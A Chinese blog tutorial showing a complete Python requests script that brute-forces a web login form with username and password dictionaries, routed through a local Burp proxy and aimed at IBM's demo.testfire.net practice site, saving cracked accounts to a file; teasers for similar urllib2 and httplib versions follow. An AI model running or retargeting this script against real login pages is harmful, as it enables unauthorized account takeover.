資訊專(zhuān)欄INFORMATION COLUMN
摘要：的中模塊在表單爆破的使用方法模塊中代理的使用方式模塊是中比較全的模塊簡(jiǎn)單易用比之前文章中使用的都要好用可以替換為的方法方法用于移除字符串頭尾指定的字符默認(rèn)為空格添加代理本地端口的代理是工具主要是查看腳本發(fā)包回包的情況好定位問(wèn)題如
python 的 http 中 request模塊在web 表單爆破的使用方法
request模塊中代理的使用方式
request 模塊是http 中比較全的模塊,簡(jiǎn)單易用,比之前文章中使用的 httplib,urllib,urllib2都要好用.可以替換為request 的 session 方法.
# -*- coding: utf-8 -*-
import requests
outFile = open("accounts-cracked.txt", "w")
def brute_force(user, password):
name = user.strip()#strip() 方法用于移除字符串頭尾指定的字符（默認(rèn)為空格）
passwd = password.strip()
proxy = {"http":"127.0.0.1:8080"}
#添加代理:本地8080端口的代理是 burp 工具,主要是查看腳本發(fā)包回包的情況,好定位問(wèn)題,如果是 https 網(wǎng)站使用proxy = {"https":"127.0.0.1:8080"}
url = "http://demo.testfire.net/bank/login.aspx" #IBM 公司的一個(gè) 測(cè)試網(wǎng)站
user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
header = {"User-Agent":user_agent,"Content-Type": "application/x-www-form-urlencoded", "Referer": "http://demo.testfire.net/bank/login.aspx"}
data = {"uid": name, "passw": passwd,"btnSubmit":"Login"}
response = requests.post(url,headers=header,proxies=proxy,data=data,allow_redirects=False)
code = response.status_code
if code == 302 or code==301:
print "+++++ find user:", name, " with password:",passwd, "+++++"
outFile.write(name + ":" + passwd+"
" )
else:
print "----- error user:", name, " with password:",passwd, "-----"
return
if __name__ == "__main__":
with open("user.dic", "r") as userline:
y = userline.readlines()
with open("pass.dic", "r") as passline:
b= passline.readlines()
for u in y:
for p in b:
brute_force(user=u,password=p)
outFile.close()
with open("accounts-cracked.txt","r") as text:
list = text.readlines()
sum=len(list)
if sum>0:
print "找到",sum,"個(gè)賬號(hào)密碼"
else:
print "All thread OK,maybe not "
文章版權(quán)歸作者所有，未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為，您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請(qǐng)注明本文地址：http://systransis.cn/yun/44352.html
摘要：的中模塊在表單爆破的使用方法模塊中代理的使用方式模塊是中比較全的模塊簡(jiǎn)單易用比之前文章中使用的都要好用可以替換為的方法方法用于移除字符串頭尾指定的字符默認(rèn)為空格添加代理本地端口的代理是工具主要是查看腳本發(fā)包回包的情況好定位問(wèn)題如 python 的 http 中 request模塊在web 表單爆破的使用方法 request模塊中代理的使用方式 request 模塊是http 中比較全...
摘要：導(dǎo)入用戶名字典導(dǎo)入密碼的字典找到個(gè)賬號(hào)密碼輸入有點(diǎn)丑將就用下 python 的 http 中 urllib2和 urllib模塊在web 表單爆破的使用方法 腳本中還增加了 urllib2和 urllib模塊如何添加代理的方法 # -*- coding: utf-8 -*- import urllib2 import urllib import time def brute_f...
摘要：導(dǎo)入用戶名字典導(dǎo)入密碼的字典找到個(gè)賬號(hào)密碼輸入有點(diǎn)丑將就用下 python 的 http 中 urllib2和 urllib模塊在web 表單爆破的使用方法 腳本中還增加了 urllib2和 urllib模塊如何添加代理的方法 # -*- coding: utf-8 -*- import urllib2 import urllib import time def brute_f...
摘要：包含了爆破的表單的使用方法中代理的添加方法添加代理代理本地監(jiān)聽(tīng)一個(gè)端口目的是查看發(fā)包和回包的情況測(cè)試網(wǎng)站為的靶機(jī)網(wǎng)站頁(yè)面返回的頁(yè)面找到個(gè)賬號(hào)密碼 httplib： 包含了 httplib爆破 web 的 form 表單的使用方法 httplib 中代理的添加方法 # -*- coding: utf-8 -*- import urllib import httplib import ...
摘要：包含了爆破的表單的使用方法中代理的添加方法添加代理代理本地監(jiān)聽(tīng)一個(gè)端口目的是查看發(fā)包和回包的情況測(cè)試網(wǎng)站為的靶機(jī)網(wǎng)站頁(yè)面返回的頁(yè)面找到個(gè)賬號(hào)密碼 httplib： 包含了 httplib爆破 web 的 form 表單的使用方法 httplib 中代理的添加方法 # -*- coding: utf-8 -*- import urllib import httplib import ...
閱讀 1772·2021-10-11 10:59
閱讀 2416·2021-09-30 09:53
閱讀 1780·2021-09-22 15:28
閱讀 2804·2019-08-29 15:29
閱讀 1568·2019-08-29 13:53
閱讀 3217·2019-08-29 12:34
閱讀 2865·2019-08-26 10:16
閱讀 2673·2019-08-23 15:16
